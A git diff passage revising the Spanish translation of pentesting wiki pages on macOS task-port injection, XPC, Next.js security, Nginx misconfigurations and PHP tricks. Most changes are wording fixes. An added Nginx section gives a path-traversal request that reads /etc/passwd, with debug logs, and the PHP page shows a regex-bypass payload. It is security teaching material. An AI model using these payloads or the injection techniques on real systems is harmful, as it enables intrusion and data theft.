> Tenga en cuenta que con un derecho de ENVÍO sobre un puerto de tarea de una **tarea diferente**, es posible realizar tales acciones sobre una tarea diferente.
-Además, el task_port también es el **`vm_map`** puerto que permite **leer y manipular memoria** dentro de una tarea con funciones como `vm_read()` y `vm_write()`. Esto significa básicamente que una tarea con derechos de ENVÍO sobre el task_port de una tarea diferente podrá **inyectar código en esa tarea**.
+Además, el task_port es también el puerto **`vm_map`** que permite **leer y manipular memoria** dentro de una tarea con funciones como `vm_read()` y `vm_write()`. Esto significa básicamente que una tarea con derechos de ENVÍO sobre el task_port de una tarea diferente podrá **inyectar código en esa tarea**.
Recuerde que debido a que el **kernel también es una tarea**, si alguien logra obtener **permisos de ENVÍO** sobre el **`kernel_task`**, podrá hacer que el kernel ejecute cualquier cosa (jailbreaks).
- Llame a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea llamadora. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["baile de intercambio de puertos"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mientras se realiza un `fork()`.
- Estas son las restricciones para acceder al puerto (de `macos_task_policy` del binario `AppleMobileFileIntegrity`):
-- Si la aplicación tiene el **`com.apple.security.get-task-allow` derecho** los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción.
+- Si la aplicación tiene el **derecho de `com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción.
- Las aplicaciones con el derecho **`com.apple.system-task-ports`** pueden obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se concede a aplicaciones de Apple.
-- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un **runtime** **endurecido** (y no de Apple).
+- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un **runtime endurecido** (y no de Apple).
**El puerto de nombre de tarea:** Una versión no privilegiada del _puerto de tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`.
@@ -770,18 +768,19 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject
```
> [!TIP]
-> Para que esto funcione en iOS, necesitas el derecho `dynamic-codesigning` para poder hacer que la memoria ejecutable sea escribible.
+> Para que esto funcione en iOS, necesitas el derecho `dynamic-codesigning` para poder hacer que la memoria escribible sea ejecutable.
### Inyección de Dylib en hilo a través del puerto de tarea
-En macOS, **los hilos** pueden ser manipulados a través de **Mach** o usando **la API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado usando la API Mach, por lo que **no es compatible con posix**.
+En macOS, los **hilos** pueden ser manipulados a través de **Mach** o usando la **api posix `pthread`**. El hilo que generamos en la inyección anterior fue generado usando la api Mach, por lo que **no es compatible con posix**.
-Fue posible **inyectar un simple shellcode** para ejecutar un comando porque **no necesitaba trabajar con APIs** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
+Fue posible **inyectar un simple shellcode** para ejecutar un comando porque **no necesitaba trabajar con apis** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
Por lo tanto, para **mejorar el hilo**, debería llamar a **`pthread_create_from_mach_thread`**, que **creará un pthread válido**. Luego, este nuevo pthread podría **llamar a dlopen** para **cargar un dylib** del sistema, así que en lugar de escribir un nuevo shellcode para realizar diferentes acciones, es posible cargar bibliotecas personalizadas.
Puedes encontrar **dylibs de ejemplo** en (por ejemplo, el que genera un registro y luego puedes escucharlo):
+
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
@@ -1064,9 +1063,10 @@ fprintf(stderr,"Dylib not found\n");
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject
```
-### Secuestro de Hilos a través del Puerto de Tarea
+### Secuestro de Hilo a través del Puerto de Tarea
+
+En esta técnica, un hilo del proceso es secuestrado:
-En esta técnica, se secuestra un hilo del proceso:
{{#ref}}
macos-thread-injection-via-task-port.md
@@ -1074,11 +1074,11 @@ macos-thread-injection-via-task-port.md
### Detección de Inyección de Puerto de Tarea
-Al llamar a `task_for_pid` o `thread_create_*`, se incrementa un contador en la estructura de tarea del kernel, que puede ser accedida desde el modo usuario llamando a task_info(task, TASK_EXTMOD_INFO, ...)
+Al llamar a `task_for_pid` o `thread_create_*`, se incrementa un contador en la estructura de tarea del kernel que puede ser accedida desde el modo de usuario llamando a task_info(task, TASK_EXTMOD_INFO, ...)
## Puertos de Excepción
-Cuando ocurre una excepción en un hilo, esta excepción se envía al puerto de excepción designado del hilo. Si el hilo no la maneja, se envía a los puertos de excepción de la tarea. Si la tarea no la maneja, se envía al puerto del host, que es gestionado por launchd (donde será reconocida). Esto se llama triaje de excepciones.
+Cuando ocurre una excepción en un hilo, esta excepción se envía al puerto de excepción designado del hilo. Si el hilo no la maneja, se envía a los puertos de excepción de la tarea. Si la tarea no la maneja, se envía al puerto del host que es gestionado por launchd (donde será reconocida). Esto se llama triaje de excepciones.
Ten en cuenta que al final, si no se maneja adecuadamente, el informe terminará siendo manejado por el demonio ReportCrash. Sin embargo, es posible que otro hilo en la misma tarea gestione la excepción, esto es lo que hacen las herramientas de informes de fallos como `PLCreashReporter`.
@@ -1104,10 +1104,10 @@ Estas son algunas APIs interesantes para interactuar con el conjunto de procesad
- `processor_set_stack_usage`
- `processor_set_info`
-Como se mencionó en [**esta publicación**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), en el pasado esto permitía eludir la protección mencionada anteriormente para obtener puertos de tarea en otros procesos y controlarlos llamando a **`processor_set_tasks`** y obteniendo un puerto de host en cada proceso.\
+Como se mencionó en [**este post**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), en el pasado esto permitía eludir la protección mencionada anteriormente para obtener puertos de tarea en otros procesos y controlarlos llamando a **`processor_set_tasks`** y obteniendo un puerto de host en cada proceso.\
Hoy en día, necesitas ser root para usar esa función y esto está protegido, por lo que solo podrás obtener estos puertos en procesos no protegidos.
-Puedes probarlo con:
+Puedes intentarlo con:
@@ -1222,6 +1222,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication
For more information about how this **communication work** on how it **could be vulnerable** check:
+
{{#ref}}
macos-xpc/
{{#endref}}
@@ -1234,6 +1235,7 @@ MIC basically **generates the needed code** for server and client to communicate
For more info check:
+
{{#ref}}
macos-mig-mach-interface-generator.md
{{#endref}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md
index 37df336f6..7ab2bc123 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md
@@ -4,23 +4,23 @@
## Información Básica
-XPC, que significa XNU (el núcleo utilizado por macOS) inter-Process Communication, es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con separación de privilegios** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido.
+XPC, que significa Comunicación Inter-Procesos de XNU (el núcleo utilizado por macOS), es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con privilegios separados** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido.
-XPC utiliza una forma de Inter-Process Communication (IPC), que es un conjunto de métodos para que diferentes programas que se ejecutan en el mismo sistema envíen datos de ida y vuelta.
+XPC utiliza una forma de Comunicación Inter-Procesos (IPC), que es un conjunto de métodos para que diferentes programas que se ejecutan en el mismo sistema envíen datos de ida y vuelta.
Los principales beneficios de XPC incluyen:
1. **Seguridad**: Al separar el trabajo en diferentes procesos, a cada proceso se le pueden otorgar solo los permisos que necesita. Esto significa que incluso si un proceso se ve comprometido, tiene una capacidad limitada para causar daño.
-2. **Estabilidad**: XPC ayuda a aislar los bloqueos al componente donde ocurren. Si un proceso falla, puede reiniciarse sin afectar al resto del sistema.
+2. **Estabilidad**: XPC ayuda a aislar los fallos al componente donde ocurren. Si un proceso falla, puede reiniciarse sin afectar al resto del sistema.
3. **Rendimiento**: XPC permite una fácil concurrencia, ya que diferentes tareas pueden ejecutarse simultáneamente en diferentes procesos.
-El único **inconveniente** es que **separar una aplicación en varios procesos** que se comunican a través de XPC es **menos eficiente**. Pero en los sistemas actuales esto no es casi notable y los beneficios son mejores.
+El único **inconveniente** es que **separar una aplicación en varios procesos** que se comunican a través de XPC es **menos eficiente**. Pero en los sistemas de hoy, esto casi no es notable y los beneficios son mejores.
## Servicios XPC Específicos de la Aplicación
Los componentes XPC de una aplicación están **dentro de la propia aplicación.** Por ejemplo, en Safari puedes encontrarlos en **`/Applications/Safari.app/Contents/XPCServices`**. Tienen la extensión **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) y **también son paquetes** con el binario principal dentro de él: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` y un `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
-Como podrías estar pensando, un **componente XPC tendrá diferentes derechos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) establecido en “True” en su **Info.plist**. En este caso, el servicio XPC se ejecutará en la **misma sesión de seguridad que la aplicación** que lo llamó.
+Como podrías estar pensando, un **componente XPC tendrá diferentes derechos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) establecido en “True” en su archivo **Info.plist**. En este caso, el servicio XPC se ejecutará en la **misma sesión de seguridad que la aplicación** que lo llamó.
Los servicios XPC son **iniciados** por **launchd** cuando se requieren y **se apagan** una vez que todas las tareas están **completas** para liberar recursos del sistema. **Los componentes XPC específicos de la aplicación solo pueden ser utilizados por la aplicación**, reduciendo así el riesgo asociado con posibles vulnerabilidades.
@@ -68,7 +68,7 @@ Los que están en **`LaunchDameons`** son ejecutados por root. Así que si un pr
- **`xpc_object_t`**
-Cada mensaje XPC es un objeto diccionario que simplifica la serialización y deserialización. Además, `libxpc.dylib` declara la mayoría de los tipos de datos, por lo que es posible hacer que los datos recibidos sean del tipo esperado. En la API de C, cada objeto es un `xpc_object_t` (y su tipo se puede verificar usando `xpc_get_type(object)`).\
+Cada mensaje XPC es un objeto diccionario que simplifica la serialización y deserialización. Además, `libxpc.dylib` declara la mayoría de los tipos de datos, por lo que es posible asegurarse de que los datos recibidos sean del tipo esperado. En la API de C, cada objeto es un `xpc_object_t` (y su tipo se puede verificar usando `xpc_get_type(object)`).\
Además, la función `xpc_copy_description(object)` se puede usar para obtener una representación en cadena del objeto que puede ser útil para fines de depuración.\
Estos objetos también tienen algunos métodos que se pueden llamar como `xpc_
### Vulnerabilidades Potenciales del Lado del Cliente
-Mientras que Next.js proporciona una base segura, las prácticas de codificación inadecuadas pueden introducir vulnerabilidades. Las principales vulnerabilidades del lado del cliente incluyen:
+Mientras que Next.js proporciona una base segura, prácticas de codificación inadecuadas pueden introducir vulnerabilidades. Las principales vulnerabilidades del lado del cliente incluyen:
@@ -328,9 +328,9 @@ return
-Recorrido de Rutas del Cliente
+Recorrido de Ruta del Cliente
-Es una vulnerabilidad que permite a los atacantes manipular rutas del lado del cliente para realizar acciones no intencionadas, como Cross-Site Request Forgery (CSRF). A diferencia del recorrido de rutas del lado del servidor, que apunta al sistema de archivos del servidor, CSPT se centra en explotar mecanismos del lado del cliente para redirigir solicitudes API legítimas a puntos finales maliciosos.
+Es una vulnerabilidad que permite a los atacantes manipular rutas del lado del cliente para realizar acciones no intencionadas, como Cross-Site Request Forgery (CSRF). A diferencia del recorrido de ruta del lado del servidor, que apunta al sistema de archivos del servidor, CSPT se centra en explotar mecanismos del lado del cliente para redirigir solicitudes API legítimas a puntos finales maliciosos.
**Ejemplo de Código Vulnerable:**
@@ -437,11 +437,11 @@ return
{data.title}
export default HomePage
```
-### Funciones sin servidor (Rutas API)
+### Serverless Functions (API Routes)
-Next.js permite la creación de puntos finales de API como funciones sin servidor. Estas funciones se ejecutan bajo demanda sin necesidad de un servidor dedicado.
+Next.js permite la creación de puntos finales de API como funciones sin servidor. Estas funciones se ejecutan bajo demanda sin la necesidad de un servidor dedicado.
-**Casos de uso:**
+**Casos de Uso:**
- Manejo de envíos de formularios.
- Interacción con bases de datos.
@@ -451,9 +451,9 @@ Next.js permite la creación de puntos finales de API como funciones sin servido
Con la introducción del directorio `app` en Next.js 13, el enrutamiento y el manejo de API se han vuelto más flexibles y potentes. Este enfoque moderno se alinea estrechamente con el sistema de enrutamiento basado en archivos, pero introduce capacidades mejoradas, incluyendo soporte para componentes de servidor y cliente.
-#### Manejador de ruta básico
+#### Basic Route Handler
-**Estructura de archivos:**
+**File Structure:**
```go
my-nextjs-app/
├── app/
@@ -487,7 +487,7 @@ body: JSON.stringify({ name: "John Doe" }),
- **Ubicación:** Las rutas de la API se colocan en el directorio `app/api/`.
- **Nomenclatura de Archivos:** Cada punto final de la API reside en su propia carpeta que contiene un archivo `route.js` o `route.ts`.
-- **Funciones Exportadas:** En lugar de una única exportación predeterminada, se exportan funciones específicas de métodos HTTP (por ejemplo, `GET`, `POST`).
+- **Funciones Exportadas:** En lugar de una única exportación por defecto, se exportan funciones específicas de métodos HTTP (por ejemplo, `GET`, `POST`).
- **Manejo de Respuestas:** Utiliza el constructor `Response` para devolver respuestas, lo que permite un mayor control sobre los encabezados y códigos de estado.
#### Cómo manejar otros caminos y métodos:
@@ -590,7 +590,7 @@ headers: { "Content-Type": "application/json" },
## Rutas API en el Directorio `pages` (Next.js 12 y versiones anteriores)
-Antes de que Next.js 13 introdujera el directorio `app` y mejorara las capacidades de enrutamiento, las rutas API se definían principalmente dentro del directorio `pages`. Este enfoque todavía se utiliza y es compatible en Next.js 12 y versiones anteriores.
+Antes de que Next.js 13 introdujera el directorio `app` y mejorara las capacidades de enrutamiento, las rutas API se definían principalmente dentro del directorio `pages`. Este enfoque todavía se utiliza ampliamente y es compatible en Next.js 12 y versiones anteriores.
#### Ruta API Básica
@@ -695,7 +695,7 @@ res.status(405).end(`Method ${method} Not Allowed`);
- **Separación de Responsabilidades:** Separa claramente la lógica para diferentes métodos HTTP.
- **Consistencia en las Respuestas:** Asegura estructuras de respuesta consistentes para facilitar el manejo del lado del cliente.
-- **Manejo de Errores:** Maneja de manera elegante los métodos no soportados y los errores inesperados.
+- **Manejo de Errores:** Maneja de manera adecuada los métodos no soportados y los errores inesperados.
@@ -717,7 +717,7 @@ headers: {
})
}
```
-Tenga en cuenta que **CORS también se puede configurar en todas las rutas de la API** dentro del **`middleware.ts`** archivo:
+Tenga en cuenta que **CORS también se puede configurar en todas las rutas de la API** dentro del archivo **`middleware.ts`**:
```javascript
// app/middleware.ts
@@ -775,7 +775,7 @@ Los atacantes pueden crear sitios web maliciosos que hagan solicitudes a tu API,
../../pentesting-web/cors-bypass.md
{{#endref}}
-### Exposición del código del servidor en el lado del cliente
+### Exposición de código del servidor en el lado del cliente
Es fácil **usar código utilizado por el servidor también en el código expuesto y utilizado por el lado del cliente**, la mejor manera de asegurar que un archivo de código nunca se exponga en el lado del cliente es utilizando esta importación al principio del archivo:
```js
@@ -795,7 +795,7 @@ import "server-only"
2. **Procesamiento:** Realiza operaciones basadas en la solicitud (por ejemplo, verificar autenticación).
3. **Modificación de Respuesta:** Puede alterar la respuesta o pasar el control al siguiente manejador.
-**Casos de Uso de Ejemplo:**
+**Casos de Uso Ejemplares:**
- Redirigir a usuarios no autenticados.
- Agregar encabezados personalizados.
@@ -886,7 +886,7 @@ value: "no-referrer", // Completely hides referrer
Next.js optimiza las imágenes para el rendimiento, pero las configuraciones incorrectas pueden llevar a vulnerabilidades de seguridad, como permitir que fuentes no confiables inyecten contenido malicioso.
-**Ejemplo de Mala Configuración:**
+**Ejemplo de Configuración Incorrecta:**
```javascript
// next.config.js
@@ -903,7 +903,7 @@ domains: ["*"], // Allows images from any domain
**Cómo los atacantes lo abusan:**
-Al inyectar imágenes de fuentes maliciosas, los atacantes pueden realizar ataques de phishing, mostrar información engañosa o explotar vulnerabilidades en bibliotecas de renderizado de imágenes.
+Al inyectar imágenes de fuentes maliciosas, los atacantes pueden realizar ataques de phishing, mostrar información engañosa o explotar vulnerabilidades en las bibliotecas de renderizado de imágenes.
@@ -911,7 +911,7 @@ Al inyectar imágenes de fuentes maliciosas, los atacantes pueden realizar ataqu
Exposición de Variables de Entorno
-Gestiona información sensible como claves API y credenciales de base de datos de manera segura sin exponerlas al cliente.
+Gestiona información sensible como claves de API y credenciales de bases de datos de manera segura sin exponerlas al cliente.
#### a. Exposición de Variables Sensibles
@@ -940,7 +940,7 @@ Si las variables sensibles se exponen al cliente, los atacantes pueden recuperar
Redirecciones
-Administra las redirecciones y reescrituras de URL dentro de tu aplicación, asegurando que los usuarios sean dirigidos adecuadamente sin introducir vulnerabilidades de redirección abierta.
+Administra las redirecciones y reescrituras de URL dentro de tu aplicación, asegurando que los usuarios sean dirigidos apropiadamente sin introducir vulnerabilidades de redirección abierta.
#### a. Vulnerabilidad de Redirección Abierta
@@ -983,7 +983,7 @@ Personaliza las configuraciones de Webpack para tu aplicación Next.js, que pued
#### a. Exponiendo Módulos Sensibles
-**Ejemplo de Mala Configuración:**
+**Ejemplo de Configuración Incorrecta:**
```javascript
// next.config.js
@@ -1003,7 +1003,7 @@ return config
**Cómo los atacantes lo abusan:**
-Los atacantes pueden acceder o reconstruir la estructura de directorios de la aplicación, potencialmente encontrando y explotando archivos o datos sensibles.
+Los atacantes pueden acceder o reconstruir la estructura de directorios de la aplicación, encontrando y explotando potencialmente archivos o datos sensibles.
@@ -1011,7 +1011,7 @@ Los atacantes pueden acceder o reconstruir la estructura de directorios de la ap
#### **`pages/_app.js`**
-**Propósito:** Sobrescribe el componente App predeterminado, permitiendo estado global, estilos y componentes de diseño.
+**Propósito:** Sobrescribe el componente App predeterminado, permitiendo el estado global, estilos y componentes de diseño.
**Casos de Uso:**
@@ -1063,7 +1063,7 @@ export default MyDocument
```
### Servidor Personalizado (Opcional)
-**Propósito:** Aunque Next.js viene con un servidor integrado, puedes crear un servidor personalizado para casos de uso avanzados como enrutamiento personalizado o integración con servicios backend existentes.
+**Propósito:** Mientras que Next.js viene con un servidor integrado, puedes crear un servidor personalizado para casos de uso avanzados como enrutamiento personalizado o integración con servicios backend existentes.
**Nota:** Usar un servidor personalizado puede limitar las opciones de implementación, especialmente en plataformas como Vercel que optimizan para el servidor integrado de Next.js.
@@ -1120,7 +1120,7 @@ SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
```
-**Nota:** Para restringir las variables solo al lado del servidor, omítalas del objeto `env` o prefíjalas con `NEXT_PUBLIC_` para la exposición del cliente.
+**Nota:** Para restringir las variables solo al lado del servidor, omítalas del objeto `env` o prefíjalas con `NEXT_PUBLIC_` para la exposición en el cliente.
### Autenticación y Autorización
@@ -1171,7 +1171,7 @@ res.status(401).json({ error: "Invalid credentials" })
- **Optimización de Imágenes:** Usa el componente `next/image` de Next.js para la optimización automática de imágenes.
- **División de Código:** Aprovecha las importaciones dinámicas para dividir el código y reducir los tiempos de carga iniciales.
-- **Caché:** Implementa estrategias de caché para las respuestas de la API y los activos estáticos.
+- **Caché:** Implementa estrategias de caché para las respuestas de API y activos estáticos.
- **Carga Perezosa:** Carga componentes o activos solo cuando sean necesarios.
**Ejemplo:**
diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md
index b152f1446..cf4dedaf7 100644
--- a/src/network-services-pentesting/pentesting-web/nginx.md
+++ b/src/network-services-pentesting/pentesting-web/nginx.md
@@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Missing root location
+## Ubicación raíz faltante
Al configurar el servidor Nginx, la **directiva root** juega un papel crítico al definir el directorio base desde el cual se sirven los archivos. Considere el siguiente ejemplo:
```bash
@@ -48,7 +48,7 @@ alias../ => HTTP status code 403
```
## Restricción de ruta insegura
-Check the following page to learn how to bypass directives like:
+Consulta la siguiente página para aprender cómo eludir directivas como:
```plaintext
location = /admin {
deny all;
@@ -91,7 +91,7 @@ Connection: keep-alive
Location: https://example.com/
Detectify: clrf
```
-Aprende más sobre los riesgos de la inyección CRLF y el splitting de respuestas en [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
+Aprende más sobre los riesgos de la inyección CRLF y la división de respuestas en [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
También esta técnica está [**explicada en esta charla**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) con algunos ejemplos vulnerables y mecanismos de detección. Por ejemplo, para detectar esta mala configuración desde una perspectiva de caja negra, podrías hacer estas solicitudes:
@@ -135,11 +135,61 @@ $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar
```
Los escaneos de esta mala configuración en los sistemas revelaron múltiples instancias donde las variables de Nginx podían ser impresas por un usuario. Sin embargo, una disminución en el número de instancias vulnerables sugiere que los esfuerzos para corregir este problema han tenido cierto éxito.
+### Usando try_files con las variables $URI$ARGS
+
+La siguiente mala configuración de Nginx puede llevar a una vulnerabilidad LFI:
+```
+location / {
+try_files $uri$args $uri$args/ /index.html;
+}
+```
+En nuestra configuración, tenemos la directiva `try_files` que se utiliza para verificar la existencia de archivos en el orden especificado. Nginx servirá el primero que encuentre. La sintaxis básica de la directiva `try_files` es la siguiente:
+```
+try_files file1 file2 ... fileN fallback;
+```
+Nginx verificará la existencia de cada archivo en el orden especificado. Si un archivo existe, se servirá de inmediato. Si ninguno de los archivos especificados existe, la solicitud se pasará a la opción de respaldo, que puede ser otra URI o una página de error específica.
+
+Sin embargo, al usar las variables `$uri$args` en esta directiva, Nginx intentará buscar un archivo que coincida con la URI de la solicitud combinada con cualquier argumento de cadena de consulta. Por lo tanto, podemos explotar esta configuración:
+```
+http {
+server {
+root /var/www/html/public;
+
+location / {
+try_files $uri$args $uri$args/ /index.html;
+}
+}
+}
+```
+Con la siguiente carga útil:
+```
+GET /?../../../../../../../../etc/passwd HTTP/1.1
+Host: example.com
+```
+Usando nuestra carga útil, escaparemos del directorio raíz (definido en la configuración de Nginx) y cargaremos el archivo `/etc/passwd`. En los registros de depuración, podemos observar cómo Nginx intenta los archivos:
+```
+...SNIP...
+
+2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
+2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
+
+...SNIP...
+
+2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
+
+...SNIP...
+
+2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
+
+```
+PoC contra Nginx usando la configuración mencionada arriba:
+
+
## Lectura de la respuesta cruda del backend
-Nginx ofrece una característica a través de `proxy_pass` que permite la interceptación de errores y encabezados HTTP producidos por el backend, con el objetivo de ocultar mensajes de error internos y encabezados. Esto se logra mediante Nginx sirviendo páginas de error personalizadas en respuesta a errores del backend. Sin embargo, surgen desafíos cuando Nginx encuentra una solicitud HTTP no válida. Tal solicitud se reenvía al backend tal como se recibe, y la respuesta cruda del backend se envía directamente al cliente sin la intervención de Nginx.
+Nginx ofrece una característica a través de `proxy_pass` que permite la interceptación de errores y encabezados HTTP producidos por el backend, con el objetivo de ocultar mensajes de error internos y encabezados. Esto se logra mediante la entrega de páginas de error personalizadas por parte de Nginx en respuesta a errores del backend. Sin embargo, surgen desafíos cuando Nginx encuentra una solicitud HTTP inválida. Tal solicitud se reenvía al backend tal como se recibe, y la respuesta cruda del backend se envía directamente al cliente sin la intervención de Nginx.
-Considere un escenario de ejemplo que involucra una aplicación uWSGI:
+Considera un escenario de ejemplo que involucra una aplicación uWSGI:
```python
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
@@ -160,9 +210,9 @@ Cuando se realiza una solicitud `GET` válida, Nginx la procesa normalmente, dev
## merge_slashes configurado en off
-Por defecto, la **directiva `merge_slashes` de Nginx** está configurada en **`on`**, lo que comprime múltiples barras diagonales en una URL en una sola barra. Esta característica, aunque agiliza el procesamiento de URL, puede ocultar inadvertidamente vulnerabilidades en aplicaciones detrás de Nginx, particularmente aquellas propensas a ataques de inclusión de archivos locales (LFI). Los expertos en seguridad **Danny Robinson y Rotem Bar** han destacado los riesgos potenciales asociados con este comportamiento predeterminado, especialmente cuando Nginx actúa como un reverse-proxy.
+Por defecto, la **directiva `merge_slashes` de Nginx** está configurada en **`on`**, lo que comprime múltiples barras diagonales en una URL en una sola barra. Esta característica, aunque agiliza el procesamiento de URL, puede ocultar inadvertidamente vulnerabilidades en aplicaciones detrás de Nginx, particularmente aquellas propensas a ataques de inclusión de archivos locales (LFI). Los expertos en seguridad **Danny Robinson y Rotem Bar** han destacado los riesgos potenciales asociados con este comportamiento predeterminado, especialmente cuando Nginx actúa como un proxy inverso.
-Para mitigar tales riesgos, se recomienda **desactivar la directiva `merge_slashes`** para aplicaciones susceptibles a estas vulnerabilidades. Esto asegura que Nginx reenvíe solicitudes a la aplicación sin alterar la estructura de la URL, evitando así enmascarar cualquier problema de seguridad subyacente.
+Para mitigar tales riesgos, se recomienda **desactivar la directiva `merge_slashes`** para aplicaciones susceptibles a estas vulnerabilidades. Esto asegura que Nginx reenvíe solicitudes a la aplicación sin alterar la estructura de la URL, evitando así enmascarar problemas de seguridad subyacentes.
Para más información, consulta a [Danny Robinson y Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
index 248f5ba46..b6f744fc0 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@@ -98,7 +98,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https
#### **Bypass de error de longitud**
(Este bypass se intentó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
-Si puedes enviar a `preg_match()` una **entrada válida muy grande**, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
+Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@@ -147,6 +147,7 @@ readfile($page);
Check:
+
{{#ref}}
../../../pentesting-web/file-inclusion/
{{#endref}}
@@ -154,10 +155,10 @@ Check:
## More tricks
- **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor e.g. $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables** que se utilizan dentro del código.
-- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** configurando el valor de la cookie de la otra ruta.\
+- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** configurando el valor de la cookie de la otra ruta.\
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos las variables de path1 (dándole a la cookie el nombre que le corresponde en path2).
- Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\** para ver si los directorios php están activados.
